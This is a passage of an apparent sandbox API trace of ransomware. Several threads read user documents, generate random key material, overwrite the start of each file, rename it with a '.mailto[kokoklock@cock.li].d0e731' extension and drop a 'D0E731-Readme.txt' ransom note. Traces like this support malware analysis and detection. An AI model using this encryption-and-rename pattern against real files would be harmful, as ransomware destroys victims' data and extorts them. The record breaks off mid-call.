"c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\8kvj0aw.odt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.893] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a6f8) returned 1 [0084.894] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\8kVj0AW.odt", dwFileAttributes=0x20) returned 0 [0084.895] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3431400 [0084.895] wcscpy (in: _Dest=0x3431400, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0084.895] wcscat (in: _Dest=0x3431400, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0084.895] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0x20 [0084.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431400) returned 1 [0084.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1250) returned 1 [0084.907] RtlExitUserThread (Status=0x1) Thread: id = 1196 os_tid = 0x1094 [0083.731] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\eqser dlk8xwc0x5u.odp")) returned 0x20 [0083.731] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp", dwFileAttributes=0x20) returned 1 [0083.732] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\eqser dlk8xwc0x5u.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x950 [0083.732] GetFileSizeEx (in: hFile=0x950, lpFileSize=0x2a2bf954 | out: lpFileSize=0x2a2bf954*=98628) returned 1 [0083.732] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x18140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.732] ReadFile (in: hFile=0x950, lpBuffer=0x2a2bf928, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a2bf924, lpOverlapped=0x0 | out: lpBuffer=0x2a2bf928*, lpNumberOfBytesRead=0x2a2bf924*=0x4, lpOverlapped=0x0) returned 1 [0083.733] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d500 [0083.733] NtQuerySystemTime (in: CurrentTime=0x2a2bf900 | out: CurrentTime=0x2a2bf900*=132121176416329105) returned 0x0 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x5ae4f0b3 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x376ee63d [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xaa04302c [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x81739fd2 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xfda9893c [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xd8b0e0b4 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xb71b6b1f [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x70022dfa [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x3d85caf3 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x49dd2a77 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x806b4fc9 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x68902835 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x8079e8c8 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xf430dcee [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xb06cfd92 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xb74f1061 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x3ef438b4 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xe22f6ddd [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x1deaf744 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x9c88d1fd [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x99ec2470 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x9c1292fc [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xfe258586 [0083.733] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xf3078d6f [0083.734] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xe207ec42 [0083.734] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x4f543122 [0083.734] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xcc86ac00 [0083.734] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xfe7e4c87 [0083.734] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0xb41591ad [0083.734] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x67eb3b0b [0083.734] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x132c2640 [0083.734] RtlRandom (in: Seed=0x2a2bf90c | out: Seed=0x2a2bf90c) returned 0x492c4229 [0083.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.744] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.744] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.744] ReadFile (in: hFile=0x950, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a2bf8d8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a2bf8d8*=0x4096, lpOverlapped=0x0) returned 1 [0083.744] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.744] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d230) returned 1 [0083.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.745] WriteFile (in: hFile=0x950, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a2bf8d8, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a2bf8d8*=0x4096, lpOverlapped=0x0) returned 1 [0083.745] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.745] SetFilePointerEx (in: hFile=0x950, liDistanceToMove=0x18144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.746] WriteFile (in: hFile=0x950, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a2bf910, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x2a2bf910*=0x20, lpOverlapped=0x0) returned 1 [0083.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.746] WriteFile (in: hFile=0x950, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a2bf924, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a2bf924*=0x8, lpOverlapped=0x0) returned 1 [0083.746] WriteFile (in: hFile=0x950, lpBuffer=0x2a2bf93c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a2bf924, lpOverlapped=0x0 | out: lpBuffer=0x2a2bf93c*, lpNumberOfBytesWritten=0x2a2bf924*=0x4, lpOverlapped=0x0) returned 1 [0083.746] WriteFile (in: hFile=0x950, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a2bf924, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a2bf924*=0x4, lpOverlapped=0x0) returned 1 [0083.746] WriteFile (in: hFile=0x950, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a2bf924, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a2bf924*=0x6c, lpOverlapped=0x0) returned 1 [0083.746] WriteFile (in: hFile=0x950, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a2bf924, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a2bf924*=0x20, lpOverlapped=0x0) returned 1 [0083.746] WriteFile (in: hFile=0x950, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a2bf924, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a2bf924*=0x4, lpOverlapped=0x0) returned 1 [0083.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.746] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.746] CloseHandle (hObject=0x950) returned 1 [0083.746] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfc) returned 0x3434d50 [0083.746] wcscpy (in: _Dest=0x3434d50, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp" [0083.746] wcscat (in: _Dest=0x3434d50, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731" [0083.747] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\eqser dlk8xwc0x5u.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\eqser dlk8xwc0x5u.odp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.894] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434d50) returned 1 [0084.894] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\EqSeR dlK8xwc0X5u.odp", dwFileAttributes=0x20) returned 0 [0084.894] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x34311c0 [0084.894] wcscpy (in: _Dest=0x34311c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\" [0084.894] wcscat (in: _Dest=0x34311c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" [0084.894] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt")) returned 0xffffffff [0084.894] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0084.900] WriteFile (in: hFile=0x6a0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2a2bf920, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2a2bf920*=0x481, lpOverlapped=0x0) returned 1 [0084.906] CloseHandle (hObject=0x6a0) returned 1 [0084.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34311c0) returned 1 [0084.908] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34874e0) returned 1 [0084.908] RtlExitUserThread (Status=0x1) Thread: id = 1197 os_tid = 0x10b8 [0083.747] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\pnzqgm5vjqyxu.ppt")) returned 0x20 [0083.747] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt", dwFileAttributes=0x20) returned 1 [0083.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\m4L5-cntR3wF\\PNzqgM5vJQYXU.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\m4l5-cntr3wf\\pnzqgm5vjqyxu.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0083.748] GetFileSizeEx (in: hFile=0x6a0, lpFileSize=0x2a33faac | out: lpFileSize=0x2a33faac*=95394) returned 1 [0083.748] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x1749e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.748] ReadFile (in: hFile=0x6a0, lpBuffer=0x2a33fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a33fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2a33fa80*, lpNumberOfBytesRead=0x2a33fa7c*=0x4, lpOverlapped=0x0) returned 1 [0083.748] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d528 [0083.748] NtQuerySystemTime (in: CurrentTime=0x2a33fa58 | out: CurrentTime=0x2a33fa58*=132121176416485289) returned 0x0 [0083.748] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x1108333 [0083.748] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xeab2ca1f [0083.748] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x70165b4 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x187f2e0b [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xff8ab02 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x8b3a285e [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x21523f78 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xaeffe975 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xa638642c [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xfa5edb7d [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x689435ea [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xc5b95900 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x82302656 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xad047b06 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x5535cd0b [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xba8b1722 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x1c3c2fd7 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x7ac04e1d [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x1356754b [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x7e7482ef [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x5d41bfc7 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x6589cbdb [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x79e43618 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x63ba671 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xf477b018 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xc90a97d3 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xc07c82a2 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x130db79e [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0x79b3f2b9 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xb99a3637 [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xb9bc338b [0083.749] RtlRandom (in: Seed=0x2a33fa64 | out: Seed=0x2a33fa64) returned 0xc4eeee86 [0083.760] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.760] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.760] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.760] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.760] ReadFile (in: hFile=0x6a0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a33fa30, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a33fa30*=0x4096, lpOverlapped=0x0) returned 1 [0083.760] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.760] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.760] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.760] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.760] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d230) returned 1 [0083.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.761] WriteFile (in: hFile=0x6a0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a33fa30, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a33fa30*=0x4096, lpOverlapped=0x0) returned 1 [0083.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.761] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x174a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.761] WriteFile (in: hFile=0x6a0, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a33fa68, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x2a33fa68*=0x20, lpOverlapped=0x0) returned 1 [0083.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.761] WriteFile (in: hFile=0x6a0, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a33fa7c, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a33fa7c*=0x8, lpOverlapped=0x0) returned 1 [0083.761] WriteFile (in: hFile=0x6a0, lpBuffer=0x2a33fa94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a33fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2a33fa94*, lpNumberOfBytesWritten=0x2a33fa7c*=0x4, lpOverlapped=0x0) returned 1 [0083.762] WriteFile (in: hFile=0x6a0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a33fa7c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a33fa7c*=0x4, lpOverlapped=0x0) returned 1 [0083.762] WriteFile (in: hFile=0x6a0, 